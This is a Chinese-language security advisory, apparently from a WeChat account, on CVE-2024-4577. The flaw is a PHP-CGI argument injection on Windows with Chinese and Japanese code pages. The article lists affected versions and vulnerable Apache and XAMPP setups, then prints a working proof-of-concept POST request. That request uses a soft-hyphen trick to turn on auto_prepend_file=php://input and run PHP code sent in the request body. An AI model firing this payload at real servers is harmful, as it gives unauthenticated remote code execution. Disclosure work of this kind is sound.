0x00 前言
PHP是Hypertext Preprocessor(超文本预处理器)的缩写,源自于“PHP/FI”的工程,在它的起源初期主要用于统计自己网站的访问者,后来用c语言进行了重新编写,拥有了自己的访问文件和数据库功能.在1995年发布了PHP 1.0第一个版本。
PHP是一种广泛使用的开源的脚本语言,它特别适合Web开发和嵌入HTML中,这种语言使用起来简单。
CGI、以CGI的方式运行,CGI英文叫做公共网关接口,就是Apache在遇到PHP脚本的时候会将PHP程序提交给CGI应用程序(php-cgi.exe)解释,解释之后的结果返回给Apache,然后再返回给相应的请求用户。
0x01 漏洞描述
PHP 在设计时忽略 Windows 中对字符转换的Best-Fit 特性,当PHP运行在Window平台且使用了如下语系(简体中文936/繁体中文950/日文932等)时,攻击者可构造恶意请求绕过CVE-2012-1823 保护,从而可在无需登陆的情况下执行任意PHP代码。
0x02 CVE编号
CVE-2024-4577
0x03 影响版本
PHP 8.3 < 8.3.8
PHP 8.2 < 8.2.20
PHP 8.1 < 8.1.29
针对其他版本,PHP官方已不在维护,建议根据实际情况进行缓解措施。
情境一:
将PHP设定于CGI模式下执行
在Apache Httpd设定档中透过Action语法将对应的HTTP请求交给PHP-CGI执行档处理时,受此弱点影响,常见设定包含但不限于:
AddHandler cgi-script .php
Action cgi-script“/cgi-bin/php-cgi.exe”
或
<FilesMatch“\.php$”>
SetHandler application/x-httpd-php-cgi
</FilesMatch>
Action application/x-httpd-php-cgi“/php-cgi/php-cgi.exe”
情境二:
将PHP执行档暴露在外(XAMPP预设安装设定)
即使未设定PHP于CGI模式下执行,仅将PHP执行档暴露在CGI目录下也受此弱点影响,常见情况包含但不限于:
将php.exe或php-cgi.exe复制到/cgi-bin/目录中
将PHP安装目录透过ScriptAlias暴露到外,如:
ScriptAlias /php-cgi/“C:/xampp/php/”
0x04 漏洞详情
POC:
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: {{host}} User-Agent: curl/8.3.0 Accept: */* Content-Length: 23 Content-Type: application/x-www-form-urlencoded Connection: keep-alive
<?php
phpinfo();
?>
执行命令:
(来源于网络)
0x05 参考链接
https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/
本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。